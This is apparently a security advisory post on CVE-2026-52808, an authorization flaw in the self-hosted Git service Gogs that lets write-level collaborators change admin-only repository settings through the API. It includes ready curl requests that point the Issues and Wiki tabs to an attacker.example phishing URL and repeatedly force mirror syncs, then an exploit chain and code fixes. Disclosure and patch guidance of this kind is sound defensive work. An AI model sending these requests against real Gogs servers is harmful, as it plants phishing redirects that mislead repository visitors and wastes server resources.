Listen to this Post
CVE-2026-52808 is an incorrect authorization vulnerability in Gogs, a self‑hosted Git service. Three administrative API endpoints—PATCH /api/v1/repos/:owner/:repo/issue-tracker, PATCH /api/v1/repos/:owner/:repo/wiki, and POST /api/v1/repos/:owner/:repo/mirror-sync—are protected by the middleware `reqRepoWriter()` rather than the stricter `reqRepoAdmin()` .
`reqRepoWriter()` (defined in `internal/route/api/v1/api.go` lines 131‑138) grants access to any authenticated user whose repository `AccessMode >= AccessModeWrite` . In contrast, the equivalent web UI operations (under the `/settings` subtree in cmd/gogs/web.go) are guarded by reqRepoAdmin, which requires `AccessMode >= AccessModeAdmin` . The access mode hierarchy in Gogs is AccessModeWrite < AccessModeAdmin, meaning a write‑level collaborator satisfies `reqRepoWriter()` but fails `RequireRepoAdmin()` .
The affected handlers—issueTracker(), wiki(), and `mirrorSync()` in internal/route/api/v1/repo_repo.go—perform no additional privilege checks before mutating repository state . For example, `issueTracker()` directly writes attacker‑controlled values to `repo.ExternalTrackerURL` and calls `database.UpdateRepository(repo, false)` without any admin validation . The `wiki()` handler follows the same pattern, writing to `repo.ExternalWikiURL` .
A write‑level collaborator can therefore:
- Disable the native issue tracker or wiki,
- Inject an external tracker/wiki URL that redirects all repository visitors to an attacker‑controlled phishing or malware site,
- Trigger mirror synchronization repeatedly, causing resource abuse .
All three operations are silent—no notification is sent to repository administrators when these settings are changed via the API . The vulnerability is scored as High (CVSS 3.1: 7.1) with vector `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L` .
DailyCVE Form:
Platform: Gogs
Version: All versions (up to fix)
Vulnerability: Authorization Bypass
Severity: High (7.1)
date: 2026-06-19
Prediction: 2026-07-15
What Undercode Say:
Analytics
- Attack Vector: Network – API endpoints reachable over HTTP/S
- Attack Complexity: Low – single API call sufficient
- Privileges Required: Low – only write‑level collaborator access
- User Interaction: None – attacker acts unilaterally
- Scope: Unchanged – impact contained to targeted repository
- Confidentiality Impact: None
- Integrity Impact: High – permanent configuration mutation
- Availability Impact: Low – feature disablement
Bash Commands & Codes
1) Redirect Issues tab to attacker‑controlled phishing page
curl -i -X PATCH "https://TARGET/api/v1/repos/OWNER/REPO/issue-tracker" \
-H "Authorization: token WRITER_TOKEN" \
-H "Content-Type: application/json" \
--data '{"enable_issues":false,"enable_external_tracker":true,"external_tracker_url":"https://attacker.example/phish"}'
Expected: `HTTP 204 No Content`
2) Redirect Wiki tab to attacker‑controlled page
curl -i -X PATCH "https://TARGET/api/v1/repos/OWNER/REPO/wiki" \
-H "Authorization: token WRITER_TOKEN" \
-H "Content-Type: application/json" \
--data '{"enable_wiki":false,"enable_external_wiki":true,"external_wiki_url":"https://attacker.example/phish-wiki"}'
Expected: `HTTP 204 No Content`
3) Force mirror sync (resource abuse)
curl -i -X POST "https://TARGET/api/v1/repos/OWNER/REPO/mirror-sync" \ -H "Authorization: token WRITER_TOKEN"
Expected: `HTTP 202 Accepted`
Affected Code Snippets
Route registration (vulnerable) – `internal/route/api/v1/api.go:365-367` :
m.Patch("/issue-tracker", reqRepoWriter(), bind(editIssueTrackerRequest{}), issueTracker)
m.Patch("/wiki", reqRepoWriter(), bind(editWikiRequest{}), wiki)
m.Post("/mirror-sync", reqRepoWriter(), mirrorSync)
Middleware (too permissive) – `internal/route/api/v1/api.go:131-138` :
func reqRepoWriter() macaron.Handler {
return func(c context.Context) {
if !c.Repo.IsWriter() {
c.Status(http.StatusForbidden)
return
}
}
}
Handler (no admin check) – `internal/route/api/v1/repo_repo.go:400-428` :
func issueTracker(c context.APIContext, form editIssueTrackerRequest) {
_, repo := parseOwnerAndRepo(c)
// ...
if form.ExternalTrackerURL != nil {
repo.ExternalTrackerURL = form.ExternalTrackerURL // ← attacker-controlled
}
// ...
database.UpdateRepository(repo, false) // ← no admin check
}
Web UI (correctly strict) – `cmd/gogs/web.go:425-472` :
m.Group("/:username/:reponame", func() {
m.Group("/settings", func() {
m.Combo("").Get(repo.Settings).Post(...)
}, ...)
}, reqSignIn, context.RepoAssignment(), reqRepoAdmin, context.RepoRef())
Admin check (correct) – `context/repo.go:434-441` :
func RequireRepoAdmin() macaron.Handler {
return func(c Context) {
if !c.IsLogged || (!c.Repo.IsAdmin() && !c.User.IsAdmin) {
c.NotFound()
return
}
}
}
Exploit:
Precondition: Attacker is added as a repository collaborator with write access (AccessMode == AccessModeWrite) .
Execution Chain:
- Attacker sends a crafted `PATCH` request to `/api/v1/repos/OWNER/REPO/issue-tracker` with a valid writer token and a payload setting `enable_external_tracker=true` and an attacker‑controlled `external_tracker_url` .
- Middleware `reqRepoWriter()` checks `c.Repo.IsWriter()` → `AccessMode >= AccessModeWrite` → passes .
- Handler `issueTracker()` writes the malicious URL directly to the repository record and calls `database.UpdateRepository()` – no admin check occurs .
- All visitors who click the “Issues” tab are redirected to the attacker’s server. The change persists until a repo admin manually reverses it .
The same flow applies to the wiki endpoint and the mirror‑sync endpoint (the latter can be abused for denial‑of‑service via repeated triggers) .
Protection:
Option 1 (Preferred): Replace `reqRepoWriter()` with `reqRepoAdmin()` on all three endpoints at the route registration level :
// internal/route/api/v1/api.go:365-367
m.Patch("/issue-tracker", reqRepoAdmin(), bind(editIssueTrackerRequest{}), issueTracker)
m.Patch("/wiki", reqRepoAdmin(), bind(editWikiRequest{}), wiki)
m.Post("/mirror-sync", reqRepoAdmin(), mirrorSync)
This one‑line change per endpoint aligns the API authorization with the web UI’s established policy .
Option 2 (Defense‑in‑depth): Add an explicit `c.Repo.IsAdmin()` check at the top of each handler :
func issueTracker(c context.APIContext, form editIssueTrackerRequest) {
if !c.Repo.IsAdmin() {
c.Status(http.StatusForbidden)
return
}
// ...
}
This duplicates middleware logic but provides an additional safeguard if the route middleware is ever accidentally altered .
Impact:
- A write‑level collaborator can permanently replace the native issue tracker with an external URL under attacker control, redirecting all repository visitors who click the Issues link to a phishing or malware‑serving page .
- The same redirect attack applies to the Wiki tab via the external wiki URL setting .
- Both redirects remain active until a repo admin or owner manually reverses the setting; the attacker’s change persists even if their collaborator access is later revoked .
- Mirror sync can be triggered repeatedly, causing unnecessary load on the upstream mirror source and consuming network resources .
- All three operations are silent – no notification is sent to repo admins when these settings change via the API .
Vulnerability discovered and reported by bugbunny.ai.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

